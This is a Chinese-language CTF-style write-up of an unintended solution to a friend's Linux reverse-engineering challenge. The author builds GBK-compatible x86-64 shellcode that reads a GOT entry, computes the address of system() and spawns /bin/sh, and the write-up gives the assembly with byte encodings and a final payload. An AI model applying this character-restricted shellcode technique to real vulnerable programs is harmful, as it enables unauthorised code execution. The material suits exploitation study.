Menci's nuclear PWN writeup

这其实是一个闲着无聊不按照原题套路出牌的一个Writeup.
这个事情是这样的, 昨天Menci表示自己写了个linux下的小逆向题目, 想要发过来让我玩一玩:

我觉得好呀好呀, 刚好没有事情做, 那就来玩一玩咯ww~
于是爽快的接收了这个文件:

接下来就是漫长的逆向时间……不过这里虽然把Menci的这个nuclear全部解出来了, 但这不是这个文章的重点.
重点是这个小程序里面居然有点意外收获……?


任意代码执行?

当做到位于第5题"hothothot"的时候, 居然意外的发现这里有一个任意代码执行, 好像还是故意弄出来的.
我们先来看一下代码ww

这段代码其实很好理解的, 大致功能就是先加一个sigsegv/sigill/sigfpe的handler, 然后将输入的内容使用iconv从utf-8转换到gbk, 转换好的结果写入到rsp中的0x80个空间当中(这个位置反推成c语言的话大概应该是函数局部变量的char result[0x80]数组).
然后关键来了...
下面的那个hothothot_cold本质是mov rax, rsp; jmp rax……

居然直接跳过去执行了……wtf?


非预期解题

之后我跑过去问了Menci本人, Menci表示其实这个位置本来是利用初始化的时候加的sigtrap handler来过关, Menci表示这里本来不是让我们搞任意代码执行的……

这……看来这次要玩非预期解题咯?

这一题的答案固然不重要, 既然这里是直接跳过去执行输入的内容, 那直接就变成了堆栈执行问题了.
好了, 接下来重点来了ww~


分析需求

既然是要pwn, 那当然是以getshell为目的嘛, 也就是构造一段代码, 劫持程序, 让程序去执行/bin/sh.
那我们先来梳理一下Menci做了什么, 以及我们的思路:

通过这段代码我们能看出来, 实际上可以被任意执行的代码, 刚好就是iconv编码转换的输出结果.
因为这里的iconv的输入是utf-8, 输出结果是gbk, 也就是说我们得构造一组汇编代码, 这组汇编代码刚好符合gbk的编码规范.
换句话说, payload当中即不能有00和FF这样的非法字符, 也不能出现gbk码表中无法解析的字符.

这就有点难了, 我们得想办法凑一凑汇编, 规避一下非法字符的问题, 保证iconv可以正常转码出我们预期的结果.


GBK编码

首先是GBK编码的问题. 虽然我们平常写代码的时候几乎不会主动把编码设置成GBK, 但是这里既然遇到了, 我们就必须要知道GBK的编码规范是什么.

其中这里有一个传送门, 快速介绍了GBK的码表格式: 传送门

通过GBK的编码格式可以看出来, GBK是固定两个字节一组的编码. 至于我们能用的组合嘛, 无外乎如下几种:

A1–A9 A1–FE
B0–F7 A1–FE
81–A0 40–FE (第二个字节不能有7F)
AA–FE 40–A0 (第二个字节不能有7F)
A8–A9 40–A0 (第二个字节不能有7F)

也就是说除了ascii当中的可见字符之外, 以及在这个表里面的GBK字符之外, 其他的字节都是不能用的. 那这就非常麻烦了, 能输入的东西太少了. 毕竟汇编代码当中经常出现ascii不可见字符, 甚至是00字符.
我们必须用各种各样杂七杂八的代码来凑我们要的功能.


想办法得到system函数的地址

要执行/bin/sh, 那毫无疑问, 肯定要得到glibc当中的system函数的地址.

不幸的是, Menci的这个小程序并没有直接用到system函数……(能用到那才有问题
当然这难不倒咱们, 我们计算system函数和一个任意已知被用到的glibc函数的地址偏移, 不就能确定system函数的地址了么?
(虽然这个办法比较很挑glibc版本, 不同的版本偏移也会有差别, 但是已知glibc版本的情况下, 还是很好用的.

那我们先来看看got表……好像signal这个函数挺符合我们要求的:

这个程序没有开随机基址, 所以这个signal函数的地址就存放在0x402950的位置了, 可以直接硬编码读取这里来找到signal函数在glibc中的位置.
而这个0x402950也是由基本ascii字符构成, 比较符合我们的初始需求. 那就从这里做切入点吧.

(这里有一个非常好的工具要安利一下, 可以在线对x86和x64的汇编进行二进制和汇编语句之间的转换, 传送门: https://defuse.ca/online-x86-assembler.htm

嗯, 那么问题来了, 我们可以秒出第一条汇编了:

xor    eax, eax ; 31 c0
mov    eax, 0x402950 ; b8 50 29 40 00

好, 且慢, 这里就有问题了. 我们可以看到, 我们直接mov这个地址就根本行不通, 因为有一个00字节, 这是没办法输入到程序里面的.
这……那我们只能通过间接计算的方式来去掉这个00字节咯? 或许位运算是个不错的办法, 现在我们把代码稍作修改:

xor    eax, eax ; 31 c0
mov    eax, 0x40402950 ; b8 50 29 40 40 把最后换成了40, 这是个标准ascii码了
mov    edi, 0x00FFFFFF ; BF FF FF FF 00
and    eax, edi        ; 21 F8 

可是这样问题又来了. 通过手工补一个垃圾字节, 然后位运算过滤掉这个垃圾字节的方法理论可行, 但是位运算赋值的部分引入了3个FF字节, 以及一个00字节. 依旧是行不通. 怎么办呢?

其实我们知道位运算的本质是“与0清零, 与1不变”. 那么实际上这里的位运算不一定要清一色FF和00, 哪怕是稍微掺杂一些无关的0和1, 并不一定会改变计算结果.
于是我们继续稍加变通:

xor    eax, eax ; 31 c0
mov    eax, 0x40402950 ; b8 50 29 40 40 把最后换成了40, 这是个标准ascii码了
mov    edi, 0x30FEBFFE ; BF FE BF FE 30
and    eax, edi        ; 21 F8 

唔, 这样就好了. 即使是用0x30FEBFFE代替0x00FFFFFF去做位运算, 得到的结果其实是一样的. 但是0x30FEBFFE却是一个符合GBK编码要求的串.
现在我们的汇编代码是可以正常被汇编成符合GBK编码要求的字符串的, 而且解决了将signal这个got表项的值装入RAX寄存器的问题.

我们下一步的需求当然是从这个got表项当中读出signal函数的地址, 这样也就是得到了signal函数在glibc中对应函数的地址. 那我们继续写汇编:

xor    eax, eax ; 31 c0
mov    eax, 0x40402950 ; b8 50 29 40 40 
mov    edi, 0x30FEBFFE ; BF FE BF FE 30
and    eax, edi        ; 21 F8 
mov    rax, QWORD PTR [rax] ; 48 8b 00 取出RAX寄存器指向地址的内容

emmmmmm……理论上这样写就可以了. 但是这样一来又不对了, 从rax寄存器指向的地址读内容这条语句, 引入了一个00. 这是不符合要求的.
嗯……怎么办呢……

经过多次测试, 发现这样的语句是符合要求的:

mov    rax, QWORD PTR [rax+0x22] ; 48 8b 40 22

可以看到, 如果给rax寄存器加一个偏移的话, 其产生的字节码刚好就符合了GBK编码的要求, 不再含有无效字符.
那么我们可以在早期计算rax寄存器的值的时候, 人为的减去这个偏移, 到这里的时候加回来. 这样代码执行起来也是等价的:

xor    eax, eax ; 31 c0
mov    eax, 0x4040292E ; b8 2E 29 40 40 这里减去了0x22字节
mov    edi, 0x30FEBFFE ; BF FE BF FE 30
and    eax, edi        ; 21 F8 
mov    rax, QWORD PTR [rax+0x22] ; 48 8b 40 22

这样一来代码再次可以被正常编码为GBK字符串了.
我们先把到目前为止写的这段代码丢进去跑一遍, 观察执行效果:



嗯, 可以看到现在rax寄存器就是我们算出来的signal函数了. signal这个函数在glibc当中的定位有了, 那该看看system在哪了.

好了, 我们来算一算……偏移刚好是加上0xD540.
也就是说在我的这个libc当中, signal函数的地址加上0xD540, 刚好就是system函数.


计算system函数的地址

我们已经知道了signal函数的地址加上0xD540就可以定位到system函数了. 那我们继续写汇编:

xor    eax, eax ; 31 c0
mov    eax, 0x4040292E ; b8 2E 29 40 40
mov    edi, 0x30FEBFFE ; BF FE BF FE 30
and    eax, edi        ; 21 F8 
mov    rax, QWORD PTR [rax+0x22] ; 48 8b 40 22
add    rax, 0xd540 ; 48 05 40 d5 00 00

道理我们都懂, 可是到这里之后直接就没戏了. add指令引入了一个0x05的字节, 还引入了两个0x00字节. 虽然后面的0x00字节可以用先前类似的办法规避, 但add指令引入的0x05却是没办法去掉了.

那, 没了加法指令, 那可怎么办……

唔, 这里要有个好消息, 减法指令却是没有这个问题的:

sub    rax, 0xd540 ; 48 2d 40 d5 00 00

可见减法指令引入的0x2d刚好符合我们的要求, 而后面的00想办法规避一下就可以了.
但是如何变加法为减法呢? 简单呀, 弄个neg指令变成负数不就好了ww~ 负负得正(x
于是代码成了这样:

xor    eax, eax ; 31 c0
mov    eax, 0x4040292E ; b8 2E 29 40 40
mov    edi, 0x30FEBFFE ; BF FE BF FE 30
and    eax, edi        ; 21 F8 
mov    rax, QWORD PTR [rax+0x22] ; 48 8b 40 22
xor    rdx, rdx ; 48 31 d2 
mov    dx, 0xd540 ; 66 ba 40 d5 
neg    rdx ; 48 f7 da
sub    rax, rdx ; 48 29 d0

这样一来system函数的地址也被计算出来了:


传参和执行system函数

现在我们已经有了system函数的地址了, 接下来就是要传参和执行了.
传递参数非常简单, 无非就是让rdi指向我们要执行的系统命令即可, 也就是一个/bin/sh的字符串. 由于缓冲区还足够长, 我们可以直接把这个字符串放在最后面, 用一个lea指令取到指针指向即可.

但是执行system函数却遇到了麻烦.
通常来说, 我们一般会选择直接jmp rax的方式跳过去执行, 但是实际上却证明这是根本行不通的:

jmp    rax ; ff e0

可以看到直接引入了一个0xff字节. 这个字节是无论怎么凑都凑不出来的……那这就很麻烦.
于是这里采用先push再ret的方法, 几乎等价于直接jmp.
最后的汇编代码如下:

xor    eax, eax ; 31 c0
mov    eax, 0x4040292E ; b8 2E 29 40 40
mov    edi, 0x30FEBFFE ; BF FE BF FE 30
and    eax, edi        ; 21 F8 
mov    rax, QWORD PTR [rax+0x22] ; 48 8b 40 22
xor    rdx, rdx ; 48 31 d2 
mov    dx, 0xd540 ; 66 ba 40 d5 
neg    rdx ; 48 f7 da
sub    rax, rdx ; 48 29 d0
push   rax ; 50
lea    rdi, [rsp + 0x2F] ; 48 8d 7c 24 2F 指向汇编的结尾 也就是在结尾紧跟着/bin/sh就好了w
ret ; C3

我们把汇编全部整理并得到了这样一个GBK字符串:

而最后再用GBK的编码打开这个文件, 并顺手转编码为utf-8, 得到最终的payload:

1栏.)@@傀傀0!鳫婡"H1襢篅誋髭H)蠵H峾$/妹/bin/sh

嗯, 看上去就是个很恐怖的魔法www(


该放技能出去咯www

我们直接把这个payload丢到程序里面, 正如预期的, 程序弹出了/bin/sh的shell, pwn成功~


结语

这是一个比较有挑战的小pwn, 难点在于如何突破字符限制构造能够正确执行的汇编代码.

当然, 也非常感谢Menci提供了这么好玩的一个小reverse me, 也要感谢一下闺蜜Hwsasi和我一起研究里面的一些数学题目~